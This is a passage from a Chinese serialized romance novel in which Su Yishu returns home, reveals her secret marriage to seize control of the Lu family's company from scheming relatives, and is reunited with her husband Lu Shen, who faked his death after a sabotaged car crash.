她恨陆慎,恨到骨子里。
可她更恨那个男人连一个解释、一个道歉都没留下,就这么随随便便地消失在江水里。
凭什么他作恶了一辈子,最后却能走得这么干脆,留她一个人在这世间反复煎熬?
都说祸害遗千年,陆慎就是个彻头彻尾的祸害,可是,为什么却……
就在这时,苏亦姝的手机再次震动,是一条来自陆玥的短信:
【亦姝姐,求你回来……我偷听到我哥他们说,三哥的车被人动了手脚,坠江**,他们现在连尸体都不找了,还要把三哥的所有东西都烧掉……】
苏亦姝死死盯着那行字,眼神里的悲痛逐渐被一层冰冷所取代。
那些人,为什么……他都不在了,还要这样做绝吗?
陆慎就算死,也不该死得这么无声无息,更不该死后还要被那群狼心狗肺的东西践踏。
她猛地抬起头,看向贺婉,眼底的泪意已经散去,取而代之的是一种清醒又冷冽的果决。
“妈,我们回国。”
贺婉似乎早就料到了这个结果,没有惊讶,只是温柔地拍了拍她的手背,“好,妈陪你回去。有些事,总要有个了断。”
苏亦姝本想留贺婉在意大利静养,因为现在的江城已是龙潭虎穴,很不安全。但是,她实在不放心让重病初愈的母亲独自留在**之外。既然要回,那就一起走。
航程漫长且压抑。
苏亦姝靠在机舱的座椅上,闭上眼全是陆慎最后看她时的眼神。
她本以为逃离是解脱,却没想到,那个男人的死,成了套在她脖子上一根扯不断的线。
江城国际机场。
苏亦姝牵着贺婉,母女两慢慢从大厅里走出来,她刻意戴了宽大的墨镜和口罩,将那张清冷且具有辨识度的脸遮得严严实实。
她原以为回来的消息无人知晓,可刚到出站口,远远就看见几个西装
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革履的男人肃穆而立,站在中间的人,正是叶礼成。
叶礼成看到贺婉的那一刻,那双向来精于算计的眼里闪过一抹难以掩饰的激动。
他快步走上前,却在距离苏亦姝几步之遥的地方停了下来,似乎怕惊扰了贺婉。
“亦姝,我知道你回来的目的。”叶礼成看着苏亦姝,声音沉稳却透着关切,“江城现在很乱,尤其是陆家。我不放心你们母女,所以……我想留下来照顾你妈妈。”
他看了一眼自始至终没正眼瞧过他的贺婉,放低了声音,几乎是带着恳求,“你放心,我绝不强迫她。只要让我守着,哪怕是在暗处。”
苏亦姝隔着墨镜看着这个名义上的父亲。
她很清楚,现在陆家那些人,确实都是没人性的。
仅凭她一个人的力量,要护住妈妈确实吃力。叶礼成在京城的权势深不可测,有他在,妈妈的人身安全至少能得到保障。
苏亦姝朝着贺婉看去。
贺婉朝着她点了点头。
其实,叶礼成出现在这,是她说的,她实在不放心自己的女儿在江城。
苏亦姝清冷开口,语气里带着几分交易般的疏离,“我可以答应你。但你必须保证,我妈不想见你的时候,你不能出现在她面前三米以内。”
叶礼成如获大赦,连连点头,“好,我答应你。”
苏亦姝侧过头,看向贺婉。贺婉虽然依旧沉默,但也没有出言反对,算是默认了这个安排。
“走吧。”
苏亦姝深吸一口气,看向窗外阴冷的天色。
江城的风还是那么潮湿、阴冷,带着一股散不去的压抑。
“陆慎,这一次,你留下的那些烂摊子,我来帮你收场。”
她低声呢喃,看着熟悉的土地。
而她不知道的是,在她下飞机的那一刻,江城东郊的一处别墅里,躺在床上的,头上包扎着纱布的人,在听到她回来的消息,瞬间坐了起来。
陈淮和顾从之见他这么激动,两人立即一惊。
“我说,你就不能淡定点?既然人都回来了,自然也跑不掉了。”
陆慎瞥了他们一眼,敛下眼睫,说道:“希望是这样……”
陈淮忍不住说道:“肯定是这样啊……她这次回来,是特地为你回来的,所以,不会离开的。”
陆慎的脸色终于缓和了一些,看向他们,说道:“一定要确保她的安全,绝对不能有任何闪失……”
第一百四十章 我是陆慎的合法妻子
擎天集团,顶层会议室。
会议室内,长形的会议桌旁,一众股东面色凝重。
陆彦坐在原本属于陆慎的主位上,那张常年伪装温和的脸,此刻也不再做出任何掩饰,露出原本算计又势利的原本模样。
还有被常年遮掩的野心,撑得有些扭曲的神色。
陆子勋坐在他身侧,清了清嗓子,率先打破了会议室的死寂。
“各位,阿慎的事,大家心里都有数。搜救队在江里捞了一天一夜,只捞起几片碎玻璃。擎天不能一直停摆,今天的会议,就是为了定下新的带头人。”
一位跟着老爷子打江山的元老董事成员皱了皱眉头,缓缓开口,“陆三爷,这话早了点吧?阿慎生死未卜,就算真出了事,他手里的股份怎么处置、遗嘱怎么说,法律程序都没走,陆彦现在坐那个位置,名不正言不顺。”
陆彦闻言,轻笑一声,眼底划过一抹狠辣,却又很快消散。
“名分这种东西,是靠股份说话的。”
他将一份文件摔在桌子中央,脸上尽是得意,“陆慎手里那40%的股份,因为他没有直系继承人,大伯母身为他唯一的至亲,已经签署了代管协议,全权委托我处理。加上我手里的,以及我父亲手里的,现在我握着擎天超过****%的话语权。”
会议室里响起一阵压抑的抽气声。
“大夫人疯了?”有人小声嘀咕。
“怎么会这样?这件事,我们竟然一点消息都没得到!”
“唉,事情怎么就……”
会议室里,众人小声地议论着。
就在这时,会议室的大门被推开,程丽梅在那两个黑衣保镖的“护送”下走了进来。
她脸色惨白,眼下的青黑用再厚的粉底也盖不住,整个人像是被抽干了魂魄的木偶。
陆彦起身,状似亲昵地扶住程丽梅的肩膀,凑近她耳边,用只有两个人能听到的声音冷冰冰地警告:
“大伯母,程家那几百个亿的亏空能不能填上,就看你待会儿怎么开口了。”
程丽梅身体不可抑制地颤抖了一下,她看向不远处的亲弟弟程其训。
程其训此时正挺直了腰杆,毫无愧色地对上她的视线,甚至还鼓励般地点了点头。
程瑞更是没有任何遮掩,眼里的贪婪清晰可见,恨不得立刻看到陆彦上位。
“大姐,说话啊。”程其训催促道,“当着大家的面,表个态。”
程丽梅死死攥着手,紧咬着牙齿。
她看着台下那些熟悉又陌生的面孔,干涩地开口:“是……阿慎不在了,大房没人了。我……我愿意把股份交给阿彦管理,我支持他接手擎天。”
一石激起千层浪。
陆彦眼中闪过一抹狂喜,他环视一圈,语气变得阴鸷而强硬。“现在,还有谁不服?”
程其训立马站起来,很是狗腿的带头鼓掌。
“陆总年轻有为,程家自然是第一个支持。有陆总在,擎天只会比以前更上一层楼!”
程瑞紧随其后,甚至挑衅地看向几个犹豫不决的股东。
“各位叔伯,识时务者为俊杰,陆家已经不是之前的陆家了,别在这个时候给自己找不痛快。”
会议室内,天平已经彻底倾斜。
陆彦享受着这种掌控一切的快感,他几乎已经看到了自己站在江城顶峰的模样。
然而,就在陆彦准备签署正式接管文件时,会议室的座机突然响了起来,那是楼下前台的加急内线。
陆彦皱眉,不耐烦地按下了免提:“说。”
“陆总……不好了,楼下……楼下有人闯进来了,她说她是陆家人,要参加股东大会!”
陆彦的手猛地僵住,程丽梅更是一下子站直了身体。
他们同时想到了一个人,那就是苏亦姝。
陆彦握着签字笔的手微微发颤,笔尖在雪白的纸张上留下了一个扎眼的黑点。
他紧紧盯着那部座机,呼吸变得急促起来。
陆家人?现在除了坐在这里的,还有谁敢自称陆家人?
陆子勋猛地站起身过来,一把夺过座机,对着免提吼道,“乱喊什么!哪来的陆家人?不管是哪来的疯子,让保安直接轰出去!今天的会议谁也不准打扰!”
“可是……可是她说,她是……陆家人,手里有擎天的股份,而且,她,她是……”前台的声音带着哭腔,显然是被吓得不轻。
话还没说话,电话就挂断了,是前台那边挂断的。
陆子勋脸色一变,下意识看向陆彦。
陆彦的喉结滚了滚,眼神里闪过一丝慌乱,但很快就被他强压了下去。
他冷笑一声,强作镇定地靠回椅子靠背上,“手里有擎天的股份?我作为陆家人,怎么不知道还有人手里握着擎天的股份?还真是好笑……”
程丽梅原本已经绝望了,眼睛里一片颓败。在听到陆家人三个字时,猛地迸发出一丝极其复杂的光亮。
她死死盯着门口,甚至由于用力过度,身体有些前倾。
“大伯母,劝你别抱什么不切实际的幻想。”
陆彦瞥了程丽梅一眼,语气阴森,“就算她来了,也改变不了你已经签字的事实。只要你不想看着程家陪葬,待会儿就把嘴闭紧了。”
程丽梅没说话,只是死死咬着下唇,咬得几乎渗出血来,嘴里有些血腥味,但是,她却丝毫不在意。
会议室内的气压渐渐低了下来,一众股东面面相觑,谁也不敢在这个时候乱说话。
就在陆子勋准备让秘书叫保安上楼封锁电梯时,会议室的门,被人从外面猛地推开。
“砰”的一声,撞击声在空旷的办公层回荡。
苏亦姝一身黑色西装裙,长发利落地扎在脑后,那张清冷的脸上,没有半点惊慌紧张,反而透着一股从容镇定。
她身后跟着四个身材魁梧、面色冷峻的黑衣男人,那是叶礼成亲自挑选的保镖。
苏亦姝踩着高跟鞋,每一步都叫众人忍不住轻颤一下。
一个个看着她,面色各异。
她无视了所有人震惊的目光,径直走到会议桌前,站在了陆彦的正对面。
陆子勋率先反应过来,一拍桌子站起来,指着她骂道,“苏亦姝?你还有脸回来!阿慎出事的时候你在哪?陆家办丧事的时候你又在哪?现在跑来闹股东大会,你算个什么东西!”
苏亦姝眼皮都没抬一下,从随身包里抽出一叠文件,动作优雅却带着一派从容和难掩的气场,直接甩在了陆彦面前。
“我算什么,这上面写得很清楚
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。”
她的嗓音清冷中带着一抹温润,整个会议室没有一点声响。
“陆慎出事前,我和他在民政局正式登记结婚。我是他法律意义上的唯一合法配偶。根据继承法,在他生死未卜期间,他的所有动产、不动产以及股权,首位代管人和继承人都是我,而不是什么大伯母。”
陆彦瞳孔剧烈收缩,他猛地抓起那份结婚证复印件,待看清上面的钢印和日期时,整个人如遭雷击。
这上面的日期,是一个月前。
一个月前?怎么可能?
陆彦猛地将纸撕碎,神色癫狂,“不可能!这不可能!这是假的!陆慎怎么可能跟你结婚?你分明是陆钦的老婆,你这是骗婚!是伪造文件!”
面对陆彦的失控,苏亦姝表现得极度平静。
结婚证是真的,当时陆慎也不知道发什么疯,非要拉着她去登记结婚。她反抗过,但是却没有任何作用。
自知是逃不掉,她只能求他,隐婚。而且,还要求在没有经过她同意的前提下,这件事,绝对不能泄露出去,不能让第二个人知晓。
陆慎当时盯着她看了会儿,最后答应了。
其实,她到现在都不清楚,自己当时为何没有以死反抗。
若是她真的以死反抗,陆慎最后,也对她没办法。
苏亦姝瞥开脑海里那些回忆,直接拉开旁边的旋转椅坐下,双腿交叠,姿态从容,目光冷冽地逼视着陆彦。
“陆彦,你是法盲吗?伪造不伪造,律师和民政局都有记录。至于你手里那份所谓的股权代管协议……”苏亦姝转头看向程丽梅,眼神清亮,“程女士,你刚才说是自愿签署的?”
程丽梅对上苏亦姝的目光,那里面蕴含的力量让她浑身一震。
她猛地推开陆彦扶着她的手,大声喊道:“不是!我是被他逼的!他拿程家的亏空威胁我!亦姝,你救救阿慎的东西,不能给这个畜生!”
“程丽梅!”陆子勋怒吼一声。
“闭嘴。”苏亦姝冷冷地扫了陆子勋一眼,那眼神里的威压竟让这个纵横商场多年的老油条心里生出一丝寒意。
苏亦姝重新看向陆彦,突然轻笑了一声,红唇微启。
“陆彦,这个位置你坐了没五分钟,感觉怎么样?现在,请你滚开。从这一刻起,擎天集团的所有决策,由我接手。”
陆彦死死盯着苏亦姝,原本胜券在握的局面瞬间崩塌,他气得呼吸粗重,眼底全是猩红的戾气。
“苏亦姝,你以为带几个人回来就能翻天?这里是江城,不是你能撒野的地方!保安!把这个女人给我拖出去!”
然而,门外并没有保安冲进来。
顾向南拎着公文包,不紧不慢地走进了会议室,推了推鼻梁上的眼镜,声音平稳。
“陆、四少,不用喊了。楼下的安保系统已经由我代表苏小姐暂时接管。另外,关于你涉嫌利用不正当手段获取股权,以及陆慎先生车祸的相关疑点,警方的人已经在楼下等你了。”
陆彦的脸色瞬间褪得惨白一片,他瘫坐在椅子上,不可置信地看着这一切。
而苏亦姝只是静静地坐在那,脸上的表情依旧从容镇定。
这一刻,陆彦从她身上,竟然看到了陆慎的影子。
第一百四十一章 自己成了他
会议室内的空气在这一刻凝固,所有人面面相视,却又不知道该说什么。
事情转变的太快,叫他们一时间,也反应不过来。
苏亦姝没有给众人喘息的机会,她朝顾向南看去,顾向南立刻从公文包里取出几份厚厚的文件,分发到几位关键董事面前。
“程其训先生,程氏企业去年通过擎天海外贸易线**的证据,都在这里。另外,程瑞在南郊项目中私吞的三千万回扣,账目我已经做好了。”
苏亦姝面色平静,每一句话都说的缓慢,不急不躁,仿佛在谈论今天的天气。
但是,却叫程其训父子两,脸色大变。
程其训父子两人的脸色瞬间由红转白,又由白转青。
程其训张了张嘴,试图求饶,“亦姝,都是一家人……”
苏亦姝冷冷地打断他,“谁跟你们是一家人?顾律师,通知法务部,即刻终止与程氏的所有合作。属于擎天的钱,一分不少地给我吐出来,否则,监狱的大门为二位敞开。”
程其训立即看向程丽梅,但是经过这件事,程丽梅对这个弟弟,已经彻底失望了,所以,直接偏过脸,没看他。
程其训跌坐在座位上,一脸绝望。
程瑞同样如此,怎么也没想到,事情竟然会这样。原本以为,他们程家能够跟着鸡鸣升天呢。
处理完程家,苏亦姝转头看向那几位刚才还摇摆不定的股东。
“至于在座的各位,陆彦给了你们什么承诺,我没兴趣知道。但如果明天一早,我看不到各位的忠诚度报告,或者各位想套现走人,我不介意以现在的市场低价,把你们手中的股份全部回收。”
这一连串的雷霆手段,快准狠,根本不给人辩驳的余地。
不到半个小时,陆彦被带走调查,程家父子灰溜溜地被保安架了出去,原本喧闹的会议室静得落针可闻。
苏亦姝起身,在众人敬畏又复杂的目光中,径直走向了走廊尽头的总裁办公室。
那是陆慎的办公室。
推开门的刹那,一股熟悉的冷香扑面而来,是陆慎常抽的那种烟草味。
苏亦姝走到那张巨大的办公桌后坐下,整个人陷在宽大的皮质靠椅里。
这个位置视野极好,可以俯瞰大半个江城的景色,但也有种高处不胜寒的空虚。
门被轻轻推开,程丽梅走了进来。
此时的程丽梅再也没了往日的嚣张跋扈,她看着坐在那个位置上的苏亦姝,眼神复杂到了极点。
“我从来没想过,最后站出来守住这个位置的人,会是你。”
程丽梅的声音有些沙哑,她走到桌前,看着苏亦姝那张淡漠的脸,“你既然恨他恨入骨髓,为什么还要回来?”
苏亦姝微微抬眼,目光落在那盆陆慎亲手打理的文竹上。
苏亦姝语气平静,朝她看了一眼。“不是你打电话让我回来的吗?现在我回来了,你又不开心了?”
听出了苏亦姝话里的嘲讽,程丽梅苦涩一笑。“我不是那个意思,只是……纯粹的好奇。”
苏亦姝敛着眼睫,缓缓说道:“我是恨他。但我更看不得他付出心血的东西,落在陆彦那种垃圾手里。而且,陆夫人,既然我接手了擎天,以后陆家的开销,都得经过我的同意。你最好习惯这种生活。”
程丽梅愣住了,她张了张嘴,最后却什么都没说出来。
她发现,眼前的苏亦姝,在举手投足间,那份运筹帷幄的狠辣与果决,简直和陆慎一模一样。
“你变了。”程丽梅低声呢喃。
“不是我变了。”苏亦姝合上手中的文件,目光直视窗外,“是这个世界逼着我,必须比疯子更疯。”
就比如那个疯子,一直都在逼着我去变。
现在,我如他所愿,变了。但是他呢?却不见了踪影……
夜色渐深,就在全江城都在讨论苏亦姝强硬回归的时候,城东别墅内,陆慎正盯着屏幕上那个坐在他位子上的小女人,嘴角勾起一抹既心疼又自豪的弧度。
尤其是听到苏亦姝亲口承认和自己的婚姻,陆慎嘴角的笑意更甚。
“这猫儿,终于长出利爪了。”
他修长的手指抚
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过屏幕上苏亦姝的侧脸,眼神炽热,“陈淮,准备一下。今晚,我想去见见我的太太。”
夜晚,半山墅。
苏亦姝推开主卧的房门,没有开大灯,只留着墙壁上昏黄的壁灯。
她身上还穿着那套干练的黑西装,甚至连领口都没松开。
这里的一切都没变,空气中似乎还残存着那种冷冽的木质香调,那是陆慎身上特有的味道,霸道却又那么独特。
以前她总觉得这味道压抑,像是一张无形的网,如影随形地将她笼罩。
可现在,当这种味道真的成了唯一的慰藉时,她才发现,原来习惯是一件比**更可怕的事情。
苏亦姝缓缓走到床边坐下,指尖轻抚过深灰色的丝绒床单。
看着手中的结婚证。
那是陆慎强硬地拉着她去民政局的。
当时她恨极了他的那副嘴脸,觉得他是个无可救药的疯子。
脑海中回放着跟陆慎在一起的一幕幕场景。
她入住半山墅的第一晚,陆慎拿着红酒在这等她的场景,两人不愉快的喝了一杯酒。
想到这,苏亦姝的嘴角扯过一抹笑,只是这笑容,却透着几分凄凉。
苏亦姝闭上眼,自嘲地勾了勾唇角。
“陆慎,你赢了。”
她垂下眼睫,掩盖住眼底那一抹转瞬即逝的酸涩。
你用这种最决绝的方式,霸道又强势地在她心底占据了那个最重要的位置。
哪怕他真的**,他也成功地让她这辈子都再难爱上别人,更难忘记他。
他不是消失了,他只是换了一种方式,永远地活在了她的情绪里。
如影随形,牵动着她的每一处情绪。
就在这时,楼下传来一声微弱的关门声。
苏亦姝猛地睁开眼,看向房门口。
在那一瞬间,她好像听到了那个熟悉的、沉稳的脚步声,正一步步朝这里逼近。
那是独属于陆慎的节奏,不疾不徐,却带着令人窒息的压迫感。
苏亦姝握紧了拳头,心跳快得有些不寻常。
“是你吗?”
第一百四十二章 苏亦姝,我没死
脚步声在门外戛然而止。
苏亦姝屏住呼吸,双眼紧紧盯着那道门缝,指甲更是陷入了掌心的软肉里,带起一阵钻心的刺痛,这样,才能让她意识到这不是做梦。
然而,预想中的门并未被推开,紧接着又是“砰”的一声闷响,那是楼下穿堂风过大,将没锁紧的玄关大门重重撞上的声音。
原本紧绷到极致的神经,在这一刻彻底泄力。
苏亦姝整个人像是打了一场仗一样,整个人瘫坐在床边。
她看着那道紧闭的房门,眼底浮现出一抹自嘲的苦笑。
她在期待什么?
期待那个疯子能在坠入那样的江水后,毫发无伤地推门进来,然后用那种不可一世的语气嘲讽她的狼狈吗?
“苏亦姝,你真是疯了。”
她低声呢喃,声音在寂静的卧室里显得格外清晰,带着几分自嘲。
明明自己一直想要逃离他的掌控,明明是他用那种羞辱的方式把她困在身边,明明她日日夜夜想的都是如何摆脱他……可现在,她竟然会因为一阵风声,而产生那种荒谬的错觉。
这种被陆慎占据身心的感觉,让她感到一阵恶心,却又无力挣脱。
苏亦姝闭上眼,任由那种浓浓的疲惫感将自己淹没。
她想,陆慎大概真的死透了。
只有**,才能这样心安理得地折磨着活人的神智。
她睁开眼,眼神重新变得理智,把眼底的酸涩硬生生的给压了回去,“**也好。你**,擎天,我替你守着。但这辈子,我都不会原谅你。”
她站起身,准备去浴室。
可就在她转身的那一秒,一股熟悉的烟草味和那种冷冽的气息,瞬间充斥了整个卧室。
苏亦姝浑身一僵,心底,隐隐有个声音在呐喊,但是,她不敢回头。
她害怕,又是自己多想了……
“不原谅我,你打算原谅谁?”
一道低沉、暗哑,却又带着熟悉的声音,在她身后响起。
苏亦姝猛地回过头。
借着昏黄的壁灯,她看见那个本该葬身江底的人,正站在她的卧室里。
陆慎穿着黑色的长款风衣,额头上还缠着一圈渗着血丝的纱布,那张原本就冷峻的脸庞此刻显得愈发苍白,甚至透着几分病态。
他依旧是那副胜券在握的模样,唯独那双漆黑的眼眸,正紧紧地落在苏亦姝身上,里面翻滚着让人胆战心惊的炽热与偏执。
“苏亦姝,我还没玩够,所以,还不能死……”
他往前走了一步,皮鞋踩在地板上的声音,和刚才她幻听到的声音一模一样。
刚才,就是他,不是自己听错了……
苏亦姝看着眼前这张近在咫尺的脸,呼吸彻底停滞。
这不是幻觉,也不是梦境,是他,就是他,真实地站在自己跟前。
过度的紧张之后,是一股排山倒海般的愤怒和委屈涌上心头,苏亦姝的眼眶一瞬间红了,眼眶里集聚了泪光。
“陆慎……”
她颤抖着吐出这两个字,声音里带着连她自己都没察觉到的哽咽。
陆慎伸出手,看到她这个样子,顿时心疼的不行。
他在来之前,也幻想过很多种,两人见面之后的场景。
想过她会愤怒地怒吼自己,或者是无视自己,又或者是,站在那,依旧用冷漠的眼神看着自己……唯独没想过,她会这般……委屈。
这样的苏亦姝,叫他根本就放不开手,也不想放手。
他扣住她的后脑勺,猛地将她按进怀里,力道大得像是要将她揉进自己的骨血,“是我……哭什么?你接管擎天时的狠劲儿去哪了?嗯?”
陆慎尽量用着自己的方式,来让她止住哭声。
可是这次,就算说出这样的话来,苏亦姝依旧沉浸在自己的世界里,窝在陆慎的怀里,双手紧紧抱着他,哭的像个被人抛弃了的孩子,无助又委屈……
陆慎任由她揪着自己风衣的衣领,任由滚烫的泪水洇透了他肩头的布料。
他没动,甚至没出声打断,只是沉默而霸道地环抱着她,让她发泄着自己的情绪。
他能感觉到怀里那副瘦削的肩膀颤抖得厉害,每一声压抑的抽噎让他的心都跟着揪疼了起来。
过了许久,卧室里的哭声才渐渐低了下去,只剩下断断续续的细微喘息。
苏亦姝涣散的神智一点点回笼。
她感觉到了他胸膛传来的沉稳心跳,闻到了那股混杂着血腥味、烟草味以及消毒水气息。
这种真实感,让她猛地僵住了身体。
她还维持着双手死死环着他腰身的姿势,侧脸紧紧贴在他的胸口。
因为哭得太久,她的脑仁一跳一跳地疼。
理智回归,苏亦姝顿时感到非常尴尬。怎么也没想到,自己竟然会……会暴露出这样的情绪来。
这一来,陆慎指不定会怎么想她!
意识到这点之后,苏亦姝像是触电一样,猛地松开了手,整个人往后退了一大步。
因为动作太急,她脚下的高跟鞋在地板上趔趄了一下,身子一歪,堪堪扶住了一旁的五斗柜才没摔倒。
她低着头,乱掉的长发垂下来挡住了她通红的眼睛,她不敢看陆慎,眼角余光瞥到了他风衣肩
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头那一大片可疑的湿痕。
“哭完了?”
陆慎的声音依旧暗哑,甚至带着点戏谑。
他随手解开风衣的扣子,露出里面略显凌乱的衬衫,眼睛一直都在苏亦姝身上。
她此时的模样,不知道有多迷人。
“……丢人。”
苏亦姝死死咬着唇,偏过头去,嗓音因为刚哭过有些沙哑。
她现在只想找个地缝钻进去,刚才那个窝在他怀里哭得像个受气包的人,绝对不是她苏亦姝。
“现在知道丢人了?”
陆慎冷哼一声,长腿一迈,逼近了她一些。他伸出手,一把拉住了苏亦姝的胳膊,把她整个人带入怀里。
然后,伸出另一只手捏住她的下巴,手指间的力道并不大,强迫她抬起头来。
看到她那双肿得像桃子一样的眼睛,以及鼻尖上那抹红,陆慎眼底那抹阴鸷化成了浓浓的温柔和宠溺,但语气依旧冷硬。
“苏亦姝,在股东大会上不是挺能耐吗?又是要接管擎天,又是要清算陆彦,还当众承认了跟我的婚事……怎么,在那些老狐狸面前没哭,见到我,反倒没出息了?”
苏亦姝听到这话,冷哼一声。原本心底那些异样的情愫在这一刻消散了不少。
“陆慎,你这种人……就该死在江里。”
她恨恨地开口,眼睫上还挂着未干的泪珠,这句本该狠戾的话因为她此刻的模样,说出来却没多少杀伤力,反而透着股难掩的娇嗔。
陆慎贪婪的看着她的模样,脸上每一寸地方,都没有放过。
天知道,自从她消失后,这段时间他是怎么度过来的。
伸出手,轻轻摩擦着她的脸颊,感受着手指间的温度。
陆慎眼神认真且庆幸。
“苏亦姝,我想你了。”
简单的一句话,让苏亦姝再次浑身僵住。她看着陆慎,两人目光对视着。
这一刻,能够清晰地看到彼此眼神中的爱意和不舍,以及那抹担忧。
苏亦姝原本以为,自己对陆慎,永远都不会露出这样的神色,可是在得知陆慎**的那一刻,她真实地感觉到,自己心脏有什么东西坍塌掉了。
那种感觉,她到现在还记得十分清楚。
而且,看到他此刻就站在自己跟前,苏亦姝突然觉得,之前两人之间的种种,似乎都不那么重要了。
这一刻,她只想跟着自己的心走。
“陆慎,我……”
不等她说话,陆慎猛地低头,一把嗪住了她的嘴唇,堵住了苏亦姝要说出的话。
两个人吻的热烈,吻的温柔,也吻的格外认真……
第一百四十三章 陆慎,我不想再当寡妇了
这一吻,持续了很久。
直到苏亦姝肺部的氧气几乎被耗尽,感觉自己快要窒息了,陆慎才松开她。
苏亦姝整个人瘫软在陆慎怀里,大口地喘着气,呼吸着新鲜空气。
陆慎双手紧紧搂着她,这一刻,他无比庆幸自己还活着,还能陪在她身边,还能抱着她。
苏亦姝一边喘着气,一边用脸颊贴在陆慎微凉的衬衫上,听着那沉稳有力的心跳声,才真切地感受到这个男人确实还活着。
视线稍一上抬,便看见了他额头上那圈扎眼的纱布,还渗透着血迹。
苏亦姝等到自己呼吸平复了些,这才伸出手,指尖颤抖着想要触碰,却又怕弄疼了他,“你的伤……到底是怎么回事?那么高的桥掉下去,你怎么可能……”
陆慎顺势握住她的手,将她的指尖包裹在掌心,放在嘴边亲了亲,然后拉着她走到床边坐下。
他顺手将她搂进怀里,让她跨坐在自己腿上,下巴抵在她的肩窝,汲取着她身上那股淡淡的清香。
这股香味,是他日思夜想的味道,现在,终于又能闻到了。
“车被动了手脚,刹车失灵。”陆慎的声音异常冷静,脸上的神色,也没半点波动。“这并不意外,是陆彦和赵西双做的手脚。只是他没想到,我命大。”
苏亦姝缩在他怀里,听着他平静地叙述,心却一点点揪紧,“那你是怎么逃出来的?”
“撞断护栏的一瞬间,我强行推开了车门。掉进水里的时候,冲击力很大,头撞到了方向盘,晕了一阵子……”陆慎轻描淡写地略过了那些最凶险的细节,比如他是如何在冰冷的江水中挣扎,又是如何避开陆彦派去打捞的人。
他收紧了手臂,紧紧地将苏亦姝贴近自己,“陈淮一直在后面跟着,他在下游接应了我。之所以一直没露面,是因为我想看看,我‘死’了以后,陆家这群鬼魅魍魉到底想做什么。”
苏亦姝感受着他身上传来的真实体温,那种虚无感才慢慢散去。
她抬起头,眼睛里还带着红血丝,直勾勾地盯着他,“程丽梅给我打电话,应该在你的预料之内吧……看着我在股东大会上跟他们撕破脸?陆慎,你这种人……真的太恶劣了。”
陆慎仔细看着她的神色,意识到她没有生气,这才伸出手,揉了揉她的头发。
“其实,我并不知道程丽梅给你打电话,我只是想知道,你若是得到了我死亡的消息,会不会回来?会不会伤心……”
“其实,当时我内心是矛盾的。我一边希望你回来,却又不希望……”
“希望你回来,是我真的想你了,想看到你担忧我的眼神,哪怕一点点都好。不希望你回来,是担忧你的安危。我怕我又疏忽的时候,到时候,让你陷入危险当中,我会恨不得杀了我自己。”
“如果不这样,我怎么能听到你当众承认是我的太太?”
“苏亦姝,陆彦已经是穷途末路,这种人,在这种时候,什么事情都能干得出来,虽然我不畏惧,但是,我还是不敢拿你的安全去赌……”
“但是,我没想到的事,你竟然回来了,而且,还当众承认了我们的婚事……苏亦姝,你不知道我当时听到这个消息的时候,是有多兴奋。”
陆慎盯着她的眼睛,嘴角勾起一抹笑意,眼底藏着化不开的深情,“苏亦姝,你在会上说那些话的时候,我恨不得立刻冲出去把你带走。但我更想看看,我的猫儿长出利爪的样子。”
苏亦姝抿了抿唇,原本想骂他疯子,可话到嘴边,却变成了长长的叹息。
她伸出手,轻轻抚摸着他额头的纱布,语气闷闷的,“疼吗?”
陆慎抓住她的手,放在唇边亲了亲,眼神炽热得能将人点燃,“见到你,就不疼了。”
他看着苏亦姝此时因为刚哭过而显得格外柔和的脸庞,低声问道:“苏亦姝,既然已经回来了,就不走了,好吗?”
苏亦姝看着他这副小心翼翼的模样,心里那股倔强又冒了头。
她故意撇过脸,不去看他那双足以溺**的眼睛,嗓音依旧带着沙哑,眼底多了几分狡黠。
“那可说不定。意大利的空气
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挺好的,那边的橄榄林我也还没修剪完呢,而且……”
话音未落,陆慎的脸色瞬间沉了下来。
他那双漆黑的眸子猛地一缩,没等她把那个“不”字说出口,便再次扣住她的后脑勺,微凉的唇带着不容置疑的霸道,狠狠地堵住了她接下来的话。
这个吻不像刚才那样温存,反而带着几分惩戒的味道,直到苏亦姝发出一声细微的**,他才缓缓退开些许,鼻尖抵着她的鼻尖,呼吸缠绕。
“不准再说这种话。”
陆慎的声音低沉而危险,却藏着一丝不易察觉的轻颤,“苏亦姝,我这条命是捡回来的。你要是再敢跑,我就算拖着这副残废身躯,也要把你抓回来。”
他伸出手,粗糙的指腹轻轻摩挲着她被吻得有些红肿的唇瓣,眼神执拗,“如果你真的非走不可,那就把我也带走。不管是装在行李箱里,还是拴在身边,这辈子你都别想再甩掉我。”
苏亦姝看着他额头上的伤,听着他这无赖的话,原本准备好的那些逗弄的话,此刻是一个字也说不出来了。
若是以前,她听到这些话,那对她来说,是种窒息。可现在,却让她感到一种前所未有的踏实。
“陆慎,你真是个彻头彻尾的疯子。”
苏亦姝轻叹一声,主动伸出双臂环住了他的脖子,将头埋在他的肩头。
这一次,她没有推开,也没有挣扎。
而是主动靠近。
“既然这么怕我走,那就好好护着你这张脸,也护着你这条命。毕竟,你知道的,我这人,看重颜值。再一个,我已经守寡一次了,不想再有第二次,否则,这以后真的就很难嫁人了。”
“你还想嫁给谁?”陆慎咬牙切齿,黑眸紧紧盯着苏亦姝的脸。“我告诉你苏亦姝,这辈子,下辈子,你都只属于我陆慎的。别特么的在想着嫁给其他人这样的事情,不可能的!”
说完,陆慎紧紧地将她搂进怀里。
苏亦姝窝在他的怀里,嘴角的笑意渐渐扩大。
其实,她想说的是,陆慎,你没事,真好!
第一百四十四章 陆慎,我们不分开了
卧室里。
两人谁都没有说话,只是静静地抱在一起,似乎是想把这段时间,彼此之间的思念,都融入这个怀抱中。
安静的卧室里,静得只能听到彼此交错的呼吸声。
陆慎下巴抵在苏亦姝的颈窝,双臂紧紧收拢,这一刻,他感觉是那么的不真实,像是做梦。
这样的场景,更是想都不敢想。
陆慎低低地唤着她的名字,声音里带着几分劫后余生的沙哑和庆幸。
“苏亦姝,苏亦姝,我爱你!”
陆慎一声声地重复着自己的情绪,重复着苏亦姝的名字。
“苏亦姝,当年分手的事情,我都知道了……我特地问过苏振东,关于当年,你为什么那么……坚持的要跟我分手……因为前一天,我们两人还在亲热着……只是一晚上的时间,怎么就……我始终想不明白……”
苏亦姝身体微微一僵,没接话,只是把脸往他颈窝里又埋深了几分。
陆慎感受到她的沉默,抱着她的力道又重了几分,语气里透出浓浓的自责,“他跟我说了,当**……我全都知道了。为什么不告诉我?”
苏亦姝鼻尖有些泛酸,嗓音有些闷闷地,“告诉你做什么?告诉你,然后让你像个愣头青一样去跟程丽梅拼命?那时候的你,拿什么跟他们斗?”
陆慎没说话,只是握住她的手,一根一根亲吻着她的指尖。
